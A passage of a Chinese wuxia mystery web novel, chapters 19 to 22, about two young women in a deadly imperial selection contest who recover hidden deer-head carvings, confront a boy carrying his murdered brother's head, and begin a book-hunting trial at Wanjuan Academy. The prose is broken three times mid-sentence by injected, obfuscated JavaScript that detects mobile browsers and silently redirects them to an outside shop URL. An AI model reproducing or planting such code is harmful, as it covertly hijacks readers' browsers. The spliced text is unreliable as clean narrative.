戚研商又拿出了宝石,翻转观察着,并无什么特殊之处,此时天色已晚,太阳即将归于地平线,手中的宝石甚至光泽暗淡了不少。 她将宝石又放回了袖中,可放到一半时,她停住了。 袖中光线暗淡,几乎黑暗,宝石的一侧却隐隐可见荧光,这竟然是一块夜光宝石。 戚研商在袖中翻转这块宝石,发现有的角度可见荧光,有的角度却不可见。 她趴在佛像上,用袖子遮住佛像上的宝石,再去观察,无论从那个角度看,这尊佛像上的宝石都没有荧光。 林霁荷见她姿势诡异,连忙上前拽开了她:“小商,你怎么啦?中邪了吗?” “你看我发现了什么?”戚研商将宝石放在袖中,示意林霁荷往袖子里看。 “有什么好看的,”林霁荷感到莫名其妙,不过下一刻她便叫出声来,“啊,怎么是夜光的!” 戚研商点了点头:“没错,我们旁边的佛像是没有夜光宝石的,很可能这里只有一尊佛像可见荧光,上面缺的便是这一颗宝石。” “那我们得等到深夜咯?现在太亮了,不太好找呀。”林霁荷道。 于是两人先靠在佛像旁边休息,而还在上面的萧雨却毫不知情,还在努力的找寻着缺损之处。 19.神机妙算 转眼已入夜,戚研商正靠在佛脚处假寐,有人忽然拍醒了她,迷迷糊糊睁开眼,萧雨正气喘吁吁地看着她。 “我在上面找了那么久,你们两个就在这里睡觉?”萧雨擦了擦额头的汗,有一点不满。 林霁荷被吵醒了,她半睁开眼睛:“我们只是来帮忙的嘛,而且已经找到了……” “找到了木雕?”萧雨着急地道。 戚研商坐了起来,她看了看天空,今夜乌云掩月,比平常暗淡不少。 她将宝石拿出来,此时不用遮住光线也可见荧光,道:“你拿着看看,旋转一下,某个方向可以看到宝石在发光。” 萧雨将信将疑地接过,在手中转了又转:“哪里呢?没看见啊。” 林霁荷起身,抓住萧雨的肩膀,硬是把他转了个面向:“你别对着月亮呀,你背过来。” “哎呀,还真是在发光!”萧雨像拿着个宝贝似的转动着宝石,“这边看就有,这边看就没有。” “好了,由于这个宝石只有固定角度在发光,而我们从这个角度看上面的佛像,是没有一尊能够看到发光宝石的。”戚研商看向萧雨缓缓地说道。 萧雨没听懂她想表达什么,问:“那要怎么办?” 林霁荷一副憋笑的样子,回答道:“那只能麻烦萧公子,再去飞一趟,上下左右都看一看,肯定能发现哪个佛像镶嵌着的是发光宝石。” “那好吧。”萧雨想问她们怎么不早说,可是一想到本来就是自愿来帮忙的,还帮他找出了线索,也没道理埋怨人家,只能多累一会了。 于是萧雨歇了一会,就去找发光的佛像了。 没一会,只听见萧雨在高处大喊:“快来,我找到了!” 戚研商抬头,那佛像不算太高,她转头问林霁荷:“能上去吗?” 林霁荷点了点头。 虽然两人轻功不如萧雨,这点高度还是可以的。 起身跃上佛像,站在佛像的左上方看,果然,佛像上的宝石闪耀着荧光。 萧雨在佛像上找到了缺损的一块,将那块宝石轻轻放在上面,严丝合缝,道:“看来就是这里了,难道这里有机关?” 他用手不断戳着镶嵌宝石的地方,却没有任何反应。 戚研商小心地绕着佛像看了一圈,并没有什么特殊的地方,也看不出有布下什么机关。 “难道这颗宝石只是不小心拿到的吗?”戚研商几乎贴近了佛像去观察,实在想不出有什么用意。 萧雨无力地靠在墙上,手搭在佛像的肩上,似乎已经放弃了,道:“罢了罢了,找不到算了。” 这个动作却让戚研商注意到了这尊佛像与其他的不同之处,其他的佛像的手基本是放于腿上,或者是胸口,而这尊佛像却做出了类似观音的动作,手掌朝上好像在托举着什么。 她顺着手掌的方向看去,那是一块并无与其他地方不同的墙砖,戚研商按住其中一块轻轻晃动,发现极为松动,只是砖块之间的间隙极小,她无法借力。 “剑借我一用。”戚研商说道,从林霁荷的背后拔出了佩剑,吓了她一跳。 林霁荷凑了过来,问道:“这是要做什么?” 只见戚研商将剑尖插进缝隙,上下晃动,再拔出,那块砖便被带出了一些,她伸手抓住露出的砖块,用力向外一抽,将砖块拿了出来。 第一块拿出后,其他的变得松动起来,很轻易的被她全部取出。 砖块取走之后,露出一块很小的空间,戚研商伸手去摸,其中正是放着一个鹿头木雕。 她拿了出来,递给萧雨,道:“看来我们没白跑。” —— 无处可栖,三人便在佛脚旁凑合了一晚,次日一早便赶回了坟地。 萧风竟还在坟头之上坐着,见他们来了,便幽幽道一句:“找到了?” “找到了。”萧雨拿出木雕递给萧风,“虽有些波折,也是多谢这二位姑娘了。” 戚研商没与他们寒暄,顾自环视坟地,这里如离开时一样,毫无其他痕迹。 她假借拿食物之意,又去了矮房查看,桌上剩余的贡品也没有少,看来他们离去之后无人来过此处。 戚研商拿了一些食物回去,瞧见林霁荷正在眉飞色舞地给萧风讲解他们是如何找到木雕的,萧风对此似乎非常感兴趣,一边听着一边点头,时而皱眉时而微笑。 她们指挥萧雨干活,有这么有趣吗? “萧风,我们离开的时候,没有人来吗?”戚研商打断了林霁荷的侃侃而谈,明知故问道,她总觉得事有蹊跷,毕竟坟地十分开阔,离开大树直走便是这块坟地,即使没进坟地,贡品也不可能一个未减,那可是必要的食物。 而萧风的回答却与戚研商所想相悖,他站了起来,道:“不,有人来过。” 这里处处透露着无人来过的表象,萧风却道有人。 “何人?”戚研商问道。 萧风答道:“蔚炎凤。” “什么?”其他三人同呼,此人可以出现在任何地方,但绝不可能出现在这里! 蔚炎凤乃是赤莲教教主,江湖上令人闻风丧胆的魔头,黑白两道通吃,武功极其高强,与萧映雪不相上下,甚至略胜于她。 但赤莲教并非是什么三教九流,确实是正当流派,也有不少弟子,只是皆为籍籍无名之辈。 因此蔚炎凤又被戏称“独首魔头”。 一个已经足够独立于江湖的教派之主,何必来加入朝廷组织选拔之争? 更何况还有一个无法解释的问题。 “可我们在第一日集合时,并未见到蔚教主啊?”林霁荷开口道,她对江湖有名之人皆为熟悉,若是真有此等大人物,她不可能没有看见。 “莫非……她是易容了?”萧雨猜测道。 萧风道:“有可能,不过我见到她时,是以真面目示人的。” 戚研商却觉得不会是易容,若是真的易容而来,为何突然显露真面容,大可一直隐匿到选拔结束。 她心中有另一种猜测,蔚炎凤本来就是半路而来,围猎场的墙虽然高,但也未到高不可攀的程度,场中的人是为了胜利,绝不可能逃脱,而围猎场外的人,却可以轻易进入,并没有规则限制有人中途参赛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266699|139177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过眼下探究这个没有意义,戚研商问了更为重要的问题:“你见到了蔚教主,发生了什么吗?” 萧风摇头道:“蔚教主突然出现,把我吓了一跳,但她没有做什么,只是问我哪里有木雕。” 戚研商闻言立刻看向那藏有木雕的坟头,那里没有任何翻找的痕迹。 “答应帮你看好,我没有说出来。”萧风见她回头,轻笑道。 “后来呢?”戚研商接着问道。 萧风转而看向萧雨,拍了拍他的肩膀,道:“蔚炎凤和我说,这里太危险了,让我们退出比试,母亲的事,由她来探查。” 萧雨有些惊讶:“蔚教主认识我们?不过这两位姑娘已经答应帮我们了。” “我不知道她为何认识我,或许她与母亲相识吧。”萧风摇头,又对戚研商抱拳,道,“两位姑娘已经帮了我们很多,十分感激,以后的事情就不麻烦了,对了,你所说的坟里藏着的木雕,现在就挖出来吧。” 戚研商走到那座坟前,深吸一口气,又对着其他人说道:“等会你们注意闭气。” “为何?”萧风问,旁边的林霁荷和萧雨没多问,赶紧捂住了口鼻。 戚研商稍作运气,双手在胸前聚合内力,屏住呼吸,忽而用力击打坟包,土块立刻被集散开来,继而是一股浓重的腐臭味。 只有萧风没有及时防御,那股臭味尽数钻进了他的鼻腔,引得他连连咳嗽。 一只破败不堪的鹿头出现在土堆之中,由于比上次挖出要晚了一天,这次的鹿头破败不堪得更加彻底,臭味也更为浓烈。 萧雨进皱眉头,捂紧了口鼻才敢上前一步,待看清了地上的东西,才嫌弃地说道:“不是说鹿头木雕吗,这只有鹿头,木雕何在?” 戚研商纯靠闭气也坚持不了太久,她也抬手捂住了鼻子:“还在这个鹿头的下面,能否借剑一用?” “要剑做什么?你们不是有个木棍?”萧风强忍住恶臭带来的眩晕感,尽力保持清醒,他们的剑若是碰到这个鹿头,怕也是凶多吉少。 戚研商这才想起之前给林霁荷用斧柄做了个武器,正好派上用场,没等她去拿,林霁荷便远远地给她递了过来。 于是戚研商便用这斧柄把鹿头给挑了出来,踢得远远地,又将那些沾染了腐肉的泥土拨到一旁,可接下来就没法使用斧柄挖地了。 “别看着了,帮下忙。”戚研商道,因为鹿头被踢远了,这下臭味减少了许多,她蹲下开始用手挖地。 林霁荷从背后轻推了兄弟二人,他们向前踉跄了一步,本打算只在一旁观看,现在也有些不好意思了,于是也蹲下帮忙挖地。 没一会,那木盒子便露出了一角。 戚研商将盒子取出,打开一看,鹿头木雕完好的躺在其中。 此时戚研商终于长舒一口气,她一直害怕这个木雕被人抢走,那么她就只能去寻别的木雕,很有可能导致这次的比试失败。 萧雨有些惊讶这里真的可以挖出木雕,问道:“戚姑娘,你是怎么知道这里有木雕的?” 林霁荷抢先回答道:“因为她会算命呀!” 20.苦命之人 第三日傍晚,是为比试结束之时。 待四人走到大门时,此处已经集结不少手握鹿头木雕之人,喜形于色,侃侃而谈。 亦有少许未取得木雕的、身负重伤之人士,在角落处歇息,面容枯槁。 朱红色大门已然大开,荀惜维正在此等待,两侧站着不少小厮,皆腰携弯刀。 “两位姑娘,就此别过吧,我们兄弟俩要送大姐回家,有缘再见了,这个木雕,我们就留作纪念带走了。”萧风不知道从哪里找来了一个裹尸袋,将萧映雪背在背上,萧雨则站在一旁,扶着裹尸袋。 戚研商作揖道:“多谢两位大哥相助,若有机会,一定上门道谢。” “倒也没帮助你们什么的,以后的路只能二位姑娘自己当心了。”萧雨回礼,说罢,二人前去与荀惜维说了两句,便从大门出去了。 也不知萧风萧雨以后还会不会再次参加选拔,亦或是等待那个“独首魔头”蔚炎凤帮助他们找到罪魁祸首。 正想着,忽然一个熟悉的身影从旁边走过,戚研商定睛一看,是雷承璟。 她下意识的叫了一声:“雷承璟!”只是下一刻便回想起两人并不相识,这么一喊过于熟络了些。 雷承璟背了个巨大的包裹,除了两个木雕以外,也不知道装了什么。 他闻声便回过头来,稚嫩的脸上透露着茫然:“叫我吗?” 其实雷承璟的内心早已成熟,只是此时还为陌生人,表露出一副懵懂的样子,使得戚研商感觉十分陌生,好似是见到了另一个人。 “小商,你认识呀?这是雷家公子呀”林霁荷接过话,她看了几眼雷承璟,突然恍然大悟,“哦,想起来了,我们在路上还见过他,当时离得太远,我没看清呢。雷小公子,你不是还有个高你一些的,是哥哥吗,怎么不在呢?” 雷承璟警惕地打量了一下二人,下意识将身后的包裹扯了扯,道:“不用叫我公子,我叫雷承璟,请问有事吗?” 戚研商好奇他为何只有一人,便再问了一次:“路上看见你是两人,怎么现在就你一个了?” “家仆而已,何足挂齿!”雷承璟冷哼一声,转身欲走“无事,我就要离开了。” 戚研商摸了摸袖中的信件,觉得该是时候告诉他了,问道:“雷公子,你这身后,是否装着两个木雕?或者更多?” 雷承璟顿足,道:“是又如何?若你们没有,我也不会分给你们的。”他又向上提了提身后的包裹,似乎里面的东西太重,包裹无法承受此等重量。 “哦,我也不需要,只是想告诉你一件事情。”戚研商将袖中的信封取出,正准备读给雷承璟听,只见他的包裹终于承受不住,从背后掉落下来,摔在地上,里面的东西掉了出来。 除了戚研商所猜的两个木雕,还有一个血淋淋的球体,那个东西在地上滚了两圈才停下来,一旁的林霁荷见了立即大叫起来,引得周围不少人都向这边看来。 雷承璟立刻蹲下,嫌弃的将地上的木雕拾回了包裹里,手刚触及那个球体,却又缩了回去,眉头紧锁,抬头问道:“你到底想说什么?” “这个头……是你哥哥的吧?你杀了他?”戚研商攥紧了信件,她不是没见过死人,只是这样一个被割下的头颅明晃晃的掉在地上,着实有些触目惊心。 “是……又怎样?这里本就是互相屠戮之地,兄弟也难免兵戈相见,你们如今关系好,到了最后也能如此吗?”雷承璟看着林霁荷紧紧挽着戚研商,不敢看地上的头颅,语气轻蔑道。 戚研商知道他说的不无道理,只是雷氏兄弟间的事情早已清楚,杀人的原因也心知肚明,若上一次没有被他背叛,或许戚研商还可以帮他一次,可如今她可以做的,只有将真相告知与他,离而开这里对于雷承璟也是一件好事。 “怕是不能如你愿。”戚研商又将信件展开,“你的两个木雕,是从地下找到的吧?” 雷承璟愣住了:“你也去过那里?” 戚研商道:“当然,那墙上的裂缝是我击裂的,否则你怎么能在黑暗之中找到一个密室?” “那……你想说什么?你手里拿的是什么东西?”雷承璟不可置信。 戚研商将信的内容读了一遍,方才语毕,雷承璟立刻冲上前,将信抢了过去,又从头到尾读了一遍,与戚研商所读一字不差。 他即刻将信撕毁,纸屑落了一地,双眸通红,吼道:“这不可能!你骗我!这信是你写的是不是!” “荀大人就在旁边,你去问问,不就知道了?”戚研商道。 雷承璟抱起那两个木雕就跑向荀惜维,不小心将雷承宁的头踢得很远,可他无空管辖,几乎是跪倒在荀惜维身边。 他将那两个木雕高高举起,道:“荀大人,我这两个木雕,是真的吧?” 刚才的一幕荀惜维已尽收眼底,那封信他从未听说过,不过过往确实有这么两个人死在地下甬道附近。 荀惜维扫了一眼那颗鲜血淋漓的人头,有些嫌弃的接过木雕,上面还沾着不少血迹,这木雕掂起来重量明显较轻,都不用辨认方知是假货。 本着严谨的态度,他还是将木雕仔仔细细的查看了一遍,叹口气道:“小弟弟,这两个确实为假的。” 雷承璟仍旧跪在地上,双手高举,保持着刚才的动作,一动未动,即便荀惜维已经走开,不再管他了。 自己这么做,是否对于雷承璟过于残忍呢,对他来说戚研商是一个带着万分恶意的陌生人,他永远无法得知这个陌生人的用意。 戚研商还是走了过去,摸了摸雷承璟的头,道:“抱歉,你无法进入下一关比试了。不过既然你的兄长已死,你就成为了雷家的独子,无论如何,你的处境都要比之前要好。” 这是她唯一能够安慰的话。 雷承璟似乎是听明白了,他木然起身,丢掉了那两个假木雕,走到那颗头旁边,用残破的包裹包住,抱在怀中,缓缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13317981|139177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走出了大门。 林霁荷还没从这一串的事情中走出来,她不知戚研商这样的报复行为是为了什么,却也不好过问,只道:“还好他把头拿走了,一直放在这里我真的要做噩梦。” 戚研商也不想她就这么一头雾水,用极轻的声音告诉了她雷承璟的身世。 说完,林霁荷起了怜悯之心,她神情哀伤,道:“这小公子,也是个苦命之人啊,就此结束,也算是个好结局。” 又一个熟悉的身影走了过来,戚研商看去,正是那个之前在“贰拾捌”号房死去的人,他身侧挎着一个小包。 没想到此人率先开了口,问道:“请问姑娘可姓戚?” 戚研商一惊,此次从未与此人有过沟通,他是如何知道的,只好答道:“非也。” 林霁荷在旁边也点了点头,道:“我们俩都姓林呀!” 那人原本手放在包上,听到了否定,便又拿开了手,道:“那是我认错人了,抱歉。”说罢,便转身走到荀惜维处,将包中的木雕交给他。 戚研商看去,那包中似乎还装了木雕,难道此人刚才是想将多余的给她吗? “这人想做什么?不会是你的仇人吧,还好我反应快!”林霁荷有些后怕。 戚研商道:“应该只是认错人了罢。” —— 戚研商特地等到了最后才去交木雕,估算着成功通过比试的人约有四十七个,未通过的大部分是由于死亡,或者没有木雕。 通过的人中,有不少手握多个木雕,应该是无法辨认真伪,抢夺了他人的,才导致这样的结果。 戚研商将手中的两个木雕交于荀惜维,核实确为真品后,坐上了来时的马车。 上车仍旧需要遮住双眼,只是此时轿厢没有那么拥挤了。 或许是过于疲惫,无人说话,一路颠簸,又回到了所住的地方。 回到庭院中,荀惜维便遣散了众人,吃食将由小厮给各个厢房送上。 由于戚研商的房门已经损坏,暂时无法入住,荀惜维同意一并送到“贰拾”号。 林霁荷回到房间直接瘫倒在床上,虽然无人修门,不过房间倒是整理好了,地上的床铺已经放回了床上。 “这三天不是睡在硬炕上,就是睡在草垛里,我真怀念这张床啊!今晚我们挤一挤吧,不要睡地上了!”林霁荷抱怨道,她在床上打了个滚。 戚研商伸手将她的外衣拽下,道:“别把床弄脏了,先换了衣服吧。” 林霁荷这才猛然坐了起来,还好只是弄脏了一点棉被外侧,拍了拍胸口,道:“光顾着享受了。” 两人洗漱完,换上了干净的衣服,此时小厮也将晚饭送来了。 吃了两天的馒头,即使送来的虽然是清淡的家常菜,可比那干巴巴的馒头要好多了,还有两个大鸡腿,两人啃得满脸油光。 在这里休整两天就要进行下一轮比试了,两人却默契的没有提这件扫兴之事。 21.万卷书院 休息两日,戚研商感觉身体的疲惫几乎消失殆尽,甚至已经忘记了比试这几天所经历的一切。 直到再次于中庭集合,戚研商才重新回想起了时刻处在危险之中的感觉。 这次聚集的人少了许多,中庭不再那么拥挤了。 荀惜维仍旧穿着一袭白色长衫,手上拿了一把水墨折扇,心情似乎很好,不断地摇动折扇,脸上流露出难以抑制的笑容,看起来有些诡异。 待人到齐后,荀惜维开口道:“过了两日,你们应该休息的差不多了,可以继续下一关的比试了,时不可待,稍后就前往比试场地。” 有一人突然站了出来,似乎腿脚有些毛病,他一瘸一拐地走到了前排,道:“荀大人,我的腿受伤了,两日可休息不好啊,这么快就开始下一关,我要怎么参与呢?” 荀惜维只是瞥了他一眼,道:“随时都可以放弃,但是比试是不会为任何人推迟。” “可是这样要怎么公平?别人都是健全的身体,就我这样,我能斗得过别人吗?”这人有些愤怒,又向前走了几步,距离荀惜维只有一步之遥,似乎有些威胁的语气。 此话一出,不少受伤的人纷纷附议道:“是啊,这样实在太不公平了?” 荀惜维面不改色,他合上扇子在人群中点了几点,道:“公平?你们能来参加比试,就不是公平的事情,选拔从未大张旗鼓的宣传,是何等原因来能参与,你们心知肚明。” 确实,能够参与选拔的要么是达官显贵,要么是通过某种手段获取的情报,本就不可与普通人相提并论,若是非要公平,应当是人人皆可参与,实际上他们已经在比试前被筛选过一次了。 众人语塞,他接着道:“受伤的也不止你一个,更何况,谁说只有武力才能取胜?比试从没有胜之不武的说法。你们还有什么疑问吗?” 见无人说话,荀惜维的扇子又向人群中的某处一指,道:“对了,你们应该看到了,这几天来了个‘大人物’,蔚炎凤。” 其实这两天戚研商并没有看到蔚炎凤,或许是因为她极少出门,或者是蔚炎凤有单独的住所,这差点让她忘记了比试来了一位新人。 “为什么还能中途来新的人?”有人问道。 荀惜维亲自进入人群,将蔚炎凤请到了前方,道:“并没有规定中途不可加入,蔚教主是自己进入场地的。” 虽说确实没有这条规定,可是是否这个选拔有些太随意了,倘若有人最后一关加入,那不是相当于直接参与角逐,他们这些需要一关一关比试通过的又算什么呢? 不止戚研商有这个疑问,于是有人帮她说出了这番话。 荀惜维只是一笑,道:“确是如此,你们亦可现在离开,到了最后一关比试时再偷偷进入,只是比试场地都是机密,能否找到,以及知晓规则,只能凭各位本事了。” 蔚炎凤身着与他人同样的青绿色长衫,若不是由荀惜维带出,其实并无人发现有这么一位“独首魔头”就在身侧。 “各位好,在下蔚炎凤。”蔚炎凤谦虚地道,她俯首作揖,语气中未带一丝戾气,即便人群中有人小声议论,她也并未在意,“如你们所见,我确实是中途加入的,只是因为收到的消息晚了,之后会与你们一起比试的。至于我是怎么找到这里的,就不便透露了。” 荀惜维拍了拍她的肩膀,道:“即使是武林第一,比试也要遵守规则。” “当然。”蔚炎凤笑道。 林霁荷在旁边深吸一口气,道:“荀大人为何如此胆大,简直是对蔚教主出言不逊,是不是蔚教主就是荀惜维引路进入的?” 戚研商向来不喜欢这些长幼尊卑的东西,但她也懂得,江湖上对于蔚炎凤此等有地位的人物,无论如何都要谦待三分。 荀惜维的态度竟然如此傲慢,怎么看此人都不只是一个朝廷派来的掌事,他的真实身份实在是神秘莫测。 “或许吧,”戚研商皱眉,“不过我总觉得这两人看起来不是十分熟络,更像是蔚教主不在乎这些。” 林霁荷追着蔚炎凤回到人群中的身影,道:“你说的也有道理,她的手一直背在身后,听闻蔚教主最擅长趁人不备,可能她正暗自运功呢。” 戚研商的眼神也追随而去,正如林霁荷所言,蔚炎凤有些蓄势待发的动作,若不是仔细观察,很难注意到。 “那么我们先前行去比试场地吧,依旧是老规矩,蒙上眼睛,不能摘下。”荀惜维走到门口,又有一群小厮开始分发蒙眼布条。 —— 这次的场地似乎比上次要远了不少,戚研商上了车便沉睡了,醒后依然在马车上,这样反复了几次,都未能到达。 由于蒙住了双眼,已经无法感知到底是什么时辰了。 林霁荷坐的实在难受,小声道:“小商,你累不累,怎么还没到啊!” 戚研商确实也很累,她的背紧贴着轿厢,随着马车经过不平的十字路,一直上下起伏着,为了不摔倒,即使已经睡着了也要略微用力保持不从座位上摔下去,腰部格外酸痛。 她只好握住林霁荷的双手,安慰道:“应该快了,再忍忍。” 好在这句话说完没多久,便到了目的地。 下了车,才发现天已经黑了,他们竟然在轿车上坐了几乎一整个白天。 看见天色已晚,戚研商才感到一阵口渴与饥饿袭来,她几乎要晕倒过去。 林霁荷扶住了她,拿出了一块梅花糕递给戚研商道:“我学着你上次,偷偷从房间中带了些吃食,你先吃点吧,别被看见了。” “多谢。”戚研商感激的接过,轻轻咬了一口,缓缓咀嚼,清甜的米香混合着梅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13341312|139177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花的伟香气立刻充斥了整个口腔,那阵眩晕终于消失了。 她将自己咬过的部分轻轻掰开,剩下半个又还给了林霁荷,道:“剩下的你吃吧。” 林霁荷立刻一口吃掉,含糊着说:“嘿嘿,我确实也饿了。” “这次的比试没那么紧张,现在天色太晚了,今夜还可以住一晚,只是不如那间院子安全。”荀惜维最后一个下车,他冷眼看着又渴又饿的众人道,“具体的规则还要明天再说,就看你们能否挺过此夜了。” “能弄点吃的喝的吗?要这样下去,没人能挺过此夜晚啊!”有人大喊道,说出了大多数人的心声。 荀惜维答道:“当然有,不仅今夜不会饿着你们,接下来的比试都有充足的食物,现在我们先进去吧,你们先挑选今晚过夜之处。” 戚研商这才开始观察身处何处,这里的墙不如围猎场高,她可以清楚地看到墙内的建筑,皆为青砖黛瓦,应是书院之类的地方。 对开的大门上挂着一个牌匾,即使月光暗淡,仍是可以看见上面刻着什么,正如戚研商所想,写着四个字“万卷书院”。 众人跟着荀惜维进入,在一排平顶房前停下。 “这里就是休息的地方了,三人一间,你们自己去选吧,明早就在这里集合。”荀惜维道。 说罢,众人便立即散开。 戚研商在走来的路上已经开始观察此处,这些平房有大有小,有的位置靠边,较为安全,有的位置在中间,虽然房间宽敞,可是比其它房间要多出两个门来,夜间十分危险。 “三人一间,能否一起呢?”忽然有一个人在身后说道。 戚研商立刻回头,竟然是蔚炎凤。 林霁荷一惊,她捂住了嘴巴,抑制住了叫声,道:“蔚教主,你要和我们一间?” 蔚炎凤点头:“嗯,我问了其他人,都不愿意同住,如果你们不愿意,也没有关系。” 戚研商略加思索,或许是蔚炎凤的身份特殊,又是中途参加,难免不会觉得遭此人杀害,可是戚研商却觉得有这么一个武力高强的人同住,必定比他人要安全,于是便点了点头,道:“可以。” 林霁荷却拽住戚研商的衣角拼命摇头,在她耳边轻声说:“你不怕她晚上偷偷把我们都杀了吗?这也太可怕了!” “不会的。”戚研商回之以微笑。 蔚炎凤看出了林霁荷的害怕,问道:“这位姑娘似乎不太愿意,实在不行也不必勉强。” 戚研商摇了摇头,说:“并非如此,她只是不习惯与陌生人同住,有幸结识蔚教主,我们还是很开心的。” “那便是好了,不过他们跑的太快,都把那些小房间给占据了,我们只能住这中间的大房子了。”蔚炎凤略加遗憾地道,“不过也好,既然大家都不熟,就一人一张床罢。” 22.观星之阁 蔚炎凤见她们说着悄悄话,道:“不必如此拘束,我也只是一个普通的参与者,没有什么恶意。” “蔚前辈为何来参加十二簪选拔?依照您的地位,不需要这样的一官半职拓展您的威望,甚至还会被官府所拘束。”戚研商还是忍不住发问。 蔚炎凤正夹起一筷子菜放入口中,咀嚼了片刻,方才开口:“自然是有原因,具体是什么,没必要告知吧。” “不瞒您说,我们在路上认识了萧风萧雨,蔚前辈答应他们去查萧映雪的事情,是这样吗?”戚研商缓缓道。 蔚炎凤挑眉,放下筷子,道::“确有此事,不过也是顺道的,我与那萧映雪有过一面之缘,她行之事令我佩服,帮衬一下亦可。既已离世,那些养子还是应该做自己的事去,没必要一直纠结,你说可是?” 这句话虽然是在说萧氏兄弟,可是对戚研商同样适用,她一时不知如何回答,好在蔚炎凤也没打算等她开口,已经起身去靠边的床铺休息了。 林霁荷看着她离开后才敢开口道:“这么一看,感觉蔚教主也没那么可怕。” “吃完了吗,也不早了,我们早些休息吧。”戚研商道。 听到要休息,林霁荷看着桌上还没有吃完的菜,连忙又扒拉了几口,点了点头。 于是二人便睡在了靠边另一侧,空出了中间的床铺。 此夜甚是平和,安稳地一觉到天明。 林霁荷却是从噩梦中惊醒,她摇醒了戚研商,慌张的说道:“小商,我怎么感觉晚上有人在喊救命!是不是死人了!” “啊……我没听到啊……”戚研商睡眼惺忪,她不记得有听到什么声音,难道是睡得太沉了。 房间的另一边传来了蔚炎凤的声音:“昨夜没人喊救命,既然是三人同住,第一夜就下手,未免太过张扬,没人会做这样的事情。” 说罢,传来了关门的声音,看来蔚炎凤早就醒来了。 “快些起来,等会迟到了。”戚研商瞅了一眼窗外,太阳已然悬于空中,蔚炎凤已经出门,她们确实醒得迟了些。 两人只能匆匆洗漱,便出了门。 正如蔚炎凤所说,确实一人不少。 荀惜维拿了一本书翻阅,待到人齐后,他才开口道:“今日比试便是正式开始了。与上次的规则一样,还是找东西,不过这次是在书院中,找的自然是书。” 他将手中的书高举,封面上写着《离谷小别册》,旁边还有一行字,但是太小,看不真切。 “这次要找的书,并非指定那一本,只要作者是李云山便可。”荀惜维将手中的书递给前排的人,开始传阅,接着道,“这里的书都是真迹,并非拓本。这次你们可要仔细观察,有些书确实是李云山所写,可是并不会标注名字,只能凭字迹辨认。” 戚研商接过传阅的书,那行小字写道“莫见千山客,此去非别离”,字迹苍劲有力,却并无特色,极易模仿,看来此次比试要比上次难得多。 “你记这几个字的写法,我记这几个字,都是比较常用的。”戚研商说道,林霁荷凑过来仔细地看着,只是书不能停留过久,两人还未能完全记下,便要将书传递给下一人了。 林霁荷挠了挠头,道:“现在是记住了,不过过一会是否会忘记就不知道了。” 匆匆几眼确实很难牢记于心,更何况之后还要翻阅其他书籍,却无法进行比对,很容易被其他的字体所干扰,导致忘记真迹是如何。 荀惜维收回了书,继续介绍规则:“这次一共有四十本真迹,但是其中只有五本标注了李云山的名字,还有一些仿造他的书,你们可要仔细辨别了。” “这次是否有提示?”有人问道。 荀惜维想了想,道:“可以,不过这里没什么特殊标志的地方,那么你们就记好这几本书吧,我手中的《离谷小别册》共有四本,这是第一册,还有三册,是未标注姓名的孤本,没有仿制品,必为真。” 说罢,他将双手背后,道:“那么接下来,就看各位的运气与能力了,时间仍旧为三天,这里的房间仍旧开放,到点也会呈上吃食,不过并不强求留宿,那么比试现在开始。” 如上次一样,既已开始,人群便四散开来,不过这次并没有人逗留厮杀,开局击败对手并无任何好处,毕竟此次更重要的是先找到真迹,有些人并无分辨能力,需等到他人寻到,才可抢夺。 林霁荷有些着急地想离开,戚研商却不紧不慢继续原地等待,她还记得房中也有一个书架,上面摆放着不少书籍,昨夜没空去翻看,说不定其中就有李云山的书。 —— 此等想法并非只有戚研商想到,最后仍然留在平房附近的竟有大部分人,只是互相防备着,未有人出手。 戚研商回房查看,然而书架上的书籍皆为他人所写,无一本作者为李云山。 “这里的房间都没有落锁,有些人没回屋,他们的房间我们也可以去找找呀。”林霁荷跟着在房中的书架上翻找,一无所获。 戚研商原本也是这么想,但是现在她却觉得此处应该不会藏书,欲要拉着林霁荷出门道:“不用找了。” “为何?这里这么多间房,总会藏有一本的吧?”林霁荷问道。 “正是因为每间房都有藏书,选择房间时就已然确定了哪个人更容易获得真迹,那么就是他纯属运气好,比试应该不会如此设计。”戚研商道。 然而下一刻就证明了这个想法是错的,林霁荷蹲下,在书架的最下面发现了一个暗格,抽出一本书。 “《离谷小别册》,第二册?”林霁荷读出了封面上的字,十分惊喜。 戚研商凑过去一看,果然是李云山的真迹,她的猜想竟然错了,只好略显尴尬,道:“没想到这个比试真的看运气,你的运气真不错。” 没想到如此轻松地找到了第一本真迹,为防止有人偷走,林霁荷将 